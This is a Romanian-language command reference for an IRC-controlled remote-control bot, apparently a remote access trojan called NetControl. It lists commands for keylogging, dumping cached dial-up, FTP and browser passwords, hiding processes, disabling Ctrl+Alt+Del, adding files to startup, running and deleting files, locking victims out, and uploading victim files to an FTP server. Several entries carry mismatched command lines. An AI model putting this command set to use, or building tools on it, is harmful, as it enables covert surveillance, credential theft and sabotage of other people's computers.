COMENZILE DISPONIBILE IRC , PARAMETRII SI EXPLICATII
Toate comenzile IRC trebuie precedate de $ altfel vor fi ignorate de catre bot
.
Urmeaza o lista continand comenzile , parametrii , separatori , explicatii .
Introducerea parametrilor separati gresit va duce la executarea eronata sau
nexecutarea comenzii .
Toti parametrii sunt obligatorii iar fara ei comanda nu este executata . 1. LOGIN
Folositi aceasta comanda pentru a loga bot-ul la X cu un cont si o parola valida
! Apoi puteti folosi comenzile X astfel : $msg X op #canal . Puteti folosi bot-ul
pentru a vota pentru un canal .
Linie comanda : $login cont parola .
2. VOTE
Folositi aceasta comanda pentru a vota pentru un canal ! Bot-ul trebuie sa
fie logat la X cu un cont si parola valida .
Linie comanda : $vote #canal YES/NO (implicit YES) .
3. MSG
Folositi aceasta comanda pentru a transmite un mesaj .
Linie comanda : $msg nick/#canal text-mesaj .
4. CHAT
Initializeaza o sesiune de chat cu utilizatorul de pe calculatorul controlat
.
Linie comanda : $chat .
5. MESSAGE
Trimite un mesaj in sesiune de chat activa cu utilizatorul de pe calculatorul
distant .
Linie comanda : $message text-mesaj .
6. ENDCHAT
Incheie o sesiune de chat cu utilizatorul de pe calculatorul controlat .
Linie comanda : $endchat .
7. UPDATE
Forteaza server-ul sa realizeze auto-update-ul .
Linie comanda : $update .
8. SHUTDOWN
Inchide fortat calculatorul distant .
Linie comanda : $shutdown .
9. REBOOT
Reseteaza fortat calculatorul distant .
Linie comanda : $reboot .
10. CLOSEALL
Inchide fortat toate aplicatiile de pe calculatorul distant .
Linie comanda : $closeall .
11. LOGOFF
Da LogOff utilizatorului calculatorului distant .
Linie comanda : $logoff .
12. GETLOGINS
Returneaza conturile de dial-up si parolele de pe calculatorul distant .
Linie comanda : $getlogins .
13. LISTPROCESSES
Returneaza o list cu procesele active pe calculatorul distant .
Linie comanda : $listprocesses .
14. KILLPROC
Returneaza o list cu procesele active pe calculatorul distant .
Linie comanda : $killproc nume-executabil (este case-sensitive).
15. HIDEPROC
Ascunde procesul selectat de Ctrl+Alt+Del .
Linie comanda : $hideproc ID-proces (numar de identificare).
16. SHOWPROC
Arata procesul selectat la Ctrl+Alt+Del .
Linie comanda : $showproc ID-proces (numar de identificare).
17. TYPEFILE
Afiseaza text-ul din fisierul selectat .
Linie comanda : $typefile cale-fisier (similar type din MS-DOS).
18. OPENCDROM
Deschide tray-ul CD-ROM-ului .
Linie comanda : $opencdrom .
19. CLOSECDROM
Inchide tray-ul CD-ROM-ului .
Linie comanda : $closecdrom .
20. SHOWINFO
Afiseaza cateva informatii despre calculatorul distant .
Linie comanda : $showinfo .
21. HIDEDESKTOP
Ascunde iconitele de pe desktop .
Linie comanda : $hidedesktop .
22. SHOWDESKTOP
Arata iconitele de pe desktop .
Linie comanda : $showdesktop .
23. LOCKDESKTOP
Blocheaza accesul la iconitele de pe desktop .
Linie comanda : $lockdesktop .
24. UNLOCKDESKTOP
Deblocheaza accesul la iconitele de pe desktop .
Linie comanda : $unlockdesktop .
25. ENABLECTRLALTDEL
Permite combitnatia Ctrl+Alt+Del .
Linie comanda : $enablectrlaltdel .
26. DISABLECTRLALTDEL
Interzice combitnatia Ctrl+Alt+Del .
Linie comanda : $disblectrlaltdel .
27. SETTIME
Seteaza ora pe calculatorul distant .
Linie comanda : $settime ora minut secunda (numere separate prin pauza).
28. SETDATE
Seteaza data pe calculatorul distant .
Linie comanda : $setdate an luna zi (numere separate prin pauza).
29. SETCOMPUTERNAME
Modifica numele calculatorului distant .
Linie comanda : $setcomputername nume (are efect dupa boot-are).
30. LISTWINDOWS
Listeaza ferestrele parinte de pe calculatorul distant .
Linie comanda : $listwindows .
31. LISTCHILDWINDOWS
Listeaza ferestrele copil ale unei ferestre parinte de pe calculatorul distant
.
Linie comanda : $listchildwindows handle (valoare numerica).
32. SHOWWINDOW
Afiseaza o fereastra .
Linie comanda : $showwindow handle (valoare numerica).
33. HIDEWINDOW
Ascunde o fereastra .
Linie comanda : $hidewindow handle (valoare numerica).
34. DISABLEWINDOW
Blocheaza accesul la o fereastra .
Linie comanda : $disablewindow handle (valoare numerica).
35. ENABLEWINDOW
Deblocheaza accesul la o fereastra .
Linie comanda : $enablewindow handle (valoare numerica).
36. MAXIMIZEWINDOW
Maxmimizeaza o fereastra .
Linie comanda : $maximizewindow handle (valoare numerica).
37. MINIMIZEWINDOW
Minmimizeaza o fereastra .
Linie comanda : $minimizewindow handle (valoare numerica).
38. FOCUSWINDOW
Activeaza o fereastra .
Linie comanda : $focuswindow handle (valoare numerica).
39. DESTROYWINDOW
Inchide o fereastra .
Linie comanda : $destroywindow handle (valoare numerica).
40. SETWINDOWTEXT
Activeaza o fereastra .
Linie comanda : $setwindowtext handle text-fereastra (valoare numerica ,pauza,
text nou).
41. CLICKBUTTON
Executa click pe un buton .
Linie comanda : $clickbutton handle (valoare numerica).
42. GETCHECKBOX
Verifica selectia unui check-box .
Linie comanda : $getcheckbox handle (valoare numerica).
43. SETCHECKBOX
Stabileste selectia unui check-box .
Linie comanda : $setcheckbox handle tip-sel (valoare numerica,pauza,numar[1-selectat,0-neselectat,2-gri]).
44. DRAWLEFTTEXT,DRAWCENTERTEXT,DRAWRIGHTTEXT
Deseneaza text-ul intr-o fereastra cu alinerea stabilita .
Linie comanda : $drawlefttext/$drawcentertext/$drawrighttext handle text (valoare
numerica,pauza,text[| reprezinta enter]).
45. SYSTEMLOCK
Blocheaza system-ul distant cu o parola .
Linie comanda : $systemlock parola .
46. SYSTEMUNLOCK
Deblocheaza system-ul distant .
Linie comanda : $systemunlock .
47. LOCKKEYBOARD
Blocheaza tastatura system-ului distant .
Linie comanda : $lockkeyboard .
48. UNLOCKKEYBOARD
Deblocheaza tastatura system-ului distant .
Linie comanda : $unlockkeyboard .
49. LOCKMOUSE
Blocheaza mouse-ul system-ului distant .
Linie comanda : $lockmouse .
50. UNLOCKMOUSE
Deblocheaza mouse-ul system-ului distant .
Linie comanda : $unlockmouse .
51. STARTKEYBOARDSPY
Incepe spionarea tastaturii distante .
Linie comanda : $startkeyboardspy .
52. STOPKEYBOARDSPY
Opreste spionarea tastaturii distante returnand text-ul tastat .
Linie comanda : $stopkeyboardspy .
53. SETVOLUMELABEL
Seteaza label-ul unui drive .
Linie comanda : $setvolumelabel X: label (drive-ul,pauza,text).
54. SWITCHMOUSEBUTTONS
Rasuceste butoanele mouse-ului .
Linie comanda : $switchmousebuttons .
55. RESETMOUSEBUTTONS
Rearanjeaza butoanele mouse-ului .
Linie comanda : $resetmousebuttons .
56. STICKCURSOR
Blocheaza mouse-ul intre coordonatele specificate .
Linie comanda : $stickcursor x1 y1 x2 y2 (numere separate prin virgula).
57. LISTFILES
Listeaza continutul unui director .
Linie comanda : $listfiles cale-director .
58. DELETEFILE
Sterge un fisier sau un director .
Linie comanda : $deletefile cale .
59. CLEARDIRECTORY
Sterge un director recursiv .
Linie comanda : $cleardirectory cale-director .
60. SHOWIMAGE
Afiseaza o imagine (*.bmp) in fereastra activa .
Linie comanda : $deletefile cale .
61. EXECUTEFILE
Executa un fisier , pagina web
Linie comanda : $executefile cale|parametrii|viz (cale,|, parametri,|, vizibilitate
[1/0 implicit 0] ) .
62. MOVEFILE
Muta un fisier / director .
Linie comanda : $movefile caleveche|calenoua (caleveche, |, calenoua) .
63. ADDTOSTARTUP
Adauga un fisier in startup .
Linie comanda : $addtostartup cale|valoarekey (cal, |, valoare-key-registry)
.
64. COPYFILE
Copiaza un fisier / director .
Linie comanda : $copyfile caleveche|calenoua (caleveche, |, calenoua) .
65. RENAMEFILE
Redenumeste un fisier / director.
Linie comanda : $movefile caleveche|calenoua (caleveche, |, calenoua) .
66. KEYBOARDFILE
Simuleaza continutul unui fisier la tastatura ca si cum utilizatorul ar tasta
.
Linie comanda : $keyboardfile calefisier .
67. PLAYSOUND
Emite un sunet dintr-un fisier (*.wav) la boxe .
Linie comanda : $playsound calefisier .
68. SETWALLPAPER
Stabileste desktop wallpaper-ul .
Linie comanda : $setwallpaper calefisier .
69. CREATEDIRECTORY
Creaza un director nou .
Linie comanda : $createdirectory caledirector .
70. SIMULATEKEYS
Simuleaza textul la tastatura ca si cum utilizatorul ar tasta .
Linie comanda : $keyboardfile delay text (delay [numeric in milisecunde], text
[| inlocuieste enter-ul]) .
71. MESSAGEBOX
Afiseaza un message box .
Linie comanda : $messagebox butoane iconita texttitlu~textmesaj (butoane [numeric
, in tabelul de mai jos], iconita [numeric , in tabelul de mai jos]) ,texttitlu,
~,textmesaj) .
Tip iconita
Valoare
Combinatie butoane
Valoare
FARA ICONITA
0
OK
0
EXCLAMARE
48
YES-NO
4
INTREBARE
32
OK-CANCEL
1
EROARE
16
YES-NO-CANCEL
3
INFORMATII
64
ABORT-RETRY-IGNORE
2
RETRY-CANCEL
5
72. RUNPLUGIN
Executa o functie create de o terta parte dintr-un DLL .
Linie comanda : $runplugin fisierdll|functie parametrii (functia trebuie sa corespunda
specificatiilor pluginurilor NetControl ) .
73. DUMPCACHE
Aceasta comanda corespunde unei functii prezenta in API . Functia este total
nedocumentata si a fost nevoie de multa munca sa aflu ce-I cu ea .
Ce face ?
Returneaza toate parolele din cache pentru conexiuni dial-up , accesari ftp
cu internet explorer
Linie comanda : $dumpcache .
74. CDROMOPEN
Deschide un drive CDROM .
Linie comanda : $cdromopen drive (drive poate fi o litera sau all care va deschide
toate drive-urile cdrom din system ) .
75. CDROMCLOSE
Inchide un drive CDROM .
Linie comanda : $cdromclose drive (drive poate fi o litera sau all care va deschide
toate drive-urile cdrom din system ) .
76. PUTONFTP
Uploadeaza un fisier de pe system-ul distant pe un server FTP .
Linie comanda : $putonftp serverftp:user:pass calefisier|calefisierftp (serverftp,
:, user, :, pass, :, calefisier, |, calefisierftp) .
77. GETFROMFTP
Downloadeaza un fisier de pe un server FTP pe system-ul distant .
Linie comanda : $putonftp serverftp:user:pass calefisierftp|calefisier (serverftp,
:, user, :, pass, :, calefisierftp, |, calefisier) .